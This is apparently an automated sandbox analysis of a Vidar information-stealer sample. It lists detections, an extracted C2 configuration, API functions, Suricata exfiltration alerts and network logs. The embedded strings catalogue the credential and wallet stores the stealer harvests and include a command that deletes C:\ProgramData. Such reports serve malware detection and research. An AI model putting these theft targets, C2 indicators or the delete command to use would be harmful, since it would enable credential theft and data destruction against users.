Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199825403037", "Botnet": "oomaino5"}

Multi AV Scanner detection for submitted file

Source: CYA75gigem.exe	ReversingLabs: Detection: 40%
Source: CYA75gigem.exe	Virustotal: Detection: 48%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00405FE7 CryptUnprotectData,LocalAlloc,LocalFree,	9_2_00405FE7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040E7E9 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,GetLastError,GetProcessHeap,HeapFree,	9_2_0040E7E9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00406062 BCryptCloseAlgorithmProvider,BCryptDestroyKey,	9_2_00406062
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040627F LocalAlloc,BCryptDecrypt,	9_2_0040627F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040609C BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,	9_2_0040609C

Source: CYA75gigem.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:61084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.99.124.230:443 -> 192.168.2.7:61094 version: TLS 1.2

Source: CYA75gigem.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefgh
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdbA source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1590446144.000000000A256000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: vdr1.pdb source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1590446144.000000000A256000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A3DC000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A3DC000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdb source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1590446144.000000000A256000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00412A5D wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00412A5D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00407891 FindFirstFileA,CopyFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,FindNextFileA,FindClose,	9_2_00407891
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040A69C FindFirstFileA,StrCmpCA,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose,	9_2_0040A69C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00408776 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	9_2_00408776
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00413B10 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindNextFileA,FindNextFileA,FindClose,	9_2_00413B10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00411BD2 wsprintfA,FindFirstFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	9_2_00411BD2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_004013DA FindFirstFileA,FindNextFileA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindNextFileA,FindClose,	9_2_004013DA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00406784 ExpandEnvironmentStringsA,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,StrCmpCA,CopyFileA,CopyFileA,Sleep,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	9_2_00406784
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00411187 wsprintfA,FindFirstFileA,memset,memset,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,SymMatchString,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	9_2_00411187
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00409C78 wsprintfA,FindFirstFileA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	9_2_00409C78
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00408224 FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00408224
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00412539 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	9_2_00412539

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_00411722 SymMatchString,SymMatchString,SymMatchString,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

9_2_00411722

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.7:61102 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.7:61121 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61145 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61141 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 88.99.124.230:443 -> 192.168.2.7:61130
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 88.99.124.230:443 -> 192.168.2.7:61121
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61217 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61224 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:61224 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61248 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61246 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:61246 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61279 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61230 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:61230 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61291 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61297 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:61297 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:61291 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:61284 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:61284 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:52417 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:52417 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:52422 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:52422 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:52410 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:52410 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:52425 -> 88.99.124.230:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:52432 -> 88.99.124.230:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199825403037

Source: global traffic	TCP traffic: 192.168.2.7:52380 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:61052 -> 162.159.36.2:53

Source: global traffic

HTTP traffic detected: GET /b4cha00 HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 2.22.242.11 2.22.242.11
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 13.74.129.1 13.74.129.1

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 51.137.137.111
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_00403C79 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

9_2_00403C79

Source: global traffic	HTTP traffic detected: GET /b4cha00 HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0Host: webdisk.lodrat.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.db56afd7ad4ece15d946.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=EF3D1CEC59894898A5CA1011D58FBBA8.RefC=2025-02-14T07:25:35Z; USRLOC=; 